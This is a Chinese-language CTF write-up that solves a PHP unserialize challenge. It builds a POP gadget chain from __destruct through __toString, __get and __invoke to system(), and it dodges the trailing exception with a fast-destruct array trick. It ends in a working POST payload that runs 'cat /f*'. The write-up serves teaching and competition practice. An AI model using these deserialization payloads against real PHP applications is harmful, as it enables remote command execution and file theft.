题目:
errMsg);
}
}
class Pwn{
public $obj;
public function __invoke(){
$this->obj->evil();
}
public function evil() {
phpinfo();
}
}
class Reverse{
public $func;
public function __get($var) {
($this->func)();
}
}
class Web{
public $func;
public $var;
public function evil() {
if(!preg_match("/flag/i",$this->var)){
($this->func)($this->var);
}else{
echo "Not Flag";
}
}
}
class Crypto{
public $obj;
public function __toString() {
$wel = $this->obj->good;
return "NewStar";
}
}
class Misc{
public function evil() {
echo "good job but nothing";
}
}
$a = @unserialize($_POST['fast']);
throw new Exception("Nope");
第一步:确定切入点在于($this->func)($this->var);,给func传system,给var传ls /,如果执行的话就是system(‘ls /’)查根目录,那我们怎么执行呢?需要我们触发evil方法
第二步:我们注意到pwn类中的$this->obj->evil();可以触发evil()方法,那我们就可以把实例化的web类传给pen类的obj属性,想要真正触发evil()还需要触发__invoke()魔术方法。__invoke会在一个对象被当做函数调用时触发。
第三步:我们注意到reverse类中__get方法下有($this->func)();,如果我们把实例化的pwn类传给这里的func属性,且触发__get魔术方法,那就会导致一个对象被当作函数调用,从而触发pwn里的__invoke魔术方法。
第四步:接下来我们就需要继续往上找那里能触发__get(),访问一个不存在或不可访问的属性时,__get()方法会被调用。顺理成章发现在crypto类里面的$wel = $this->obj->good;这里会访问到属性obj里的good属性,我们知道reverse类里没有good属性,如果把实例化的reverse类传给crypto类里面的obj属性,在$this->obj->good;这一步就会因为访问不存在的属性而触发__get魔术方法
第五步:$wel = $this->obj->good;在__toString()方法下面,我们的目标是触发__tostring魔术方法,这时候我们注意到 __destruct() 魔术方法下的die($this->errMsg);,它会使用 die()
函数输出$this->errMsg
属性的值,并终止脚本的执行。这个输出就隐含了转换为字符串,最后我们只需要把实例化的crypto类传给start类就好了,然后对其进行序列化。
正常来说pop链如下:
$w=new Web();
$w->func="system";
$w->var="ls /";
$p=new Pwn();
$p->obj=$w;
$r=new Reverse();
$r->func=$p;
$c=new Crypto();
$c->obj=$r;
$s=new Start();
$s->errMsg=$c;
echo serialize($s);
结果是: O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}
但是实际上不会成功回显,因为这里题目最后两行还有throw new Exception("Nope");Fatal error: Uncaught Exception: Nope in /var/www/html/index.php:55 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 5
我们要知道,销毁对象的过程通常称为垃圾回收(Garbage Collection)。PHP 的垃圾回收机制是自动的,会在对象不再被引用或无法访问时将其标记为垃圾,并最终回收内存。在对象被销毁时,如果定义了析构函数(即 __destruct()
魔术方法),则会自动调用该方法。
但是,当 PHP 脚本抛出异常并在异常处理过程中终止时,对象的销毁过程可能会受到影响。在这种情况下,PHP 不会自动销毁对象,也就无法调用对象的 __destruct()
方法。这种情况下,脚本的执行状态会从正常状态变为异常状态,并在异常处理过程中停止执行。
例如,在题目代码中,throw new Exception("Nope");
这行代码执行成功并抛出了异常(Fatal error)。在这些情况下,由于异常被抛出并导致脚本终止,$s
对象没有机会进行正常的销毁过程,因此 Start
类的 __destruct()
方法不会被触发。
在 PHP 中,垃圾回收机制是通过引用计数来实现的。当一个对象被创建时,它的引用计数为 1。每当有一个新的引用指向该对象时,引用计数就会增加 1。相反,当一个引用不再指向该对象时,引用计数就会减少 1。当对象的引用计数归零时,垃圾回收机制会将其标记为垃圾,并在适当的时候销毁对象。
在触发垃圾回收机制并销毁对象时,如果该对象定义了析构函数(即 __destruct()
方法),则会自动调用该方法。因此,在正常情况下,当对象的引用计数归零时,它会被销毁,并且 __destruct()
方法会被调用。
想要提前触发异常这里有三种方法:
使得数组对象为 NULL:当一个数组中的元素指向一个对象,而该数组被置为 NULL 时,会导致对象的引用计数减少。如果对象的引用计数归零,垃圾回收机制会将其标记为垃圾并销毁对象。同样地,如果对象定义了 __destruct()
方法,该方法也会被自动调用。
去掉序列化后最后一个中括号
修改属性数字
我们使用第一种方法来绕过异常
pop链变为:
$w=new Web();
$w->func="system";
$w->var="ls /";
$p=new Pwn();
$p->obj=$w;
$r=new Reverse();
$r->func=$p;
$c=new Crypto();
$c->obj=$r;
$s=new Start();
$s->errMsg=$c;
$a=array($s,0);
echo serialize($a);
结果是:
a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}i:1;i:0;}
序列化过程中,第一个i:0;
表示第一个元素的键是整数 0(相当于a[0]),对应的值是对象 $s
的序列化结果。i:1;
表示第二个元素的键是整数 1(相当于a[1]),对应的值是整数 0 的序列化结果。我们把第二个i后面的值改为0。
a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}i:0;i:0;}
因为当反序列化的时候第一层接受到的是一个包含两个元素的数组,该数组第一个元素是一个对象,其类名为 Start,第二个元素是一个整数(0),把第二个i后面的值改为0后,使得数组对象为空。异常在这一层就抛出来,而已经序列化成功的$s(就整个pop链)正常执行。
记得空格用%20代替,接下来读文件,最终payload如下:
fast=a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat%20/f*";}}}}}i:0;i:0;}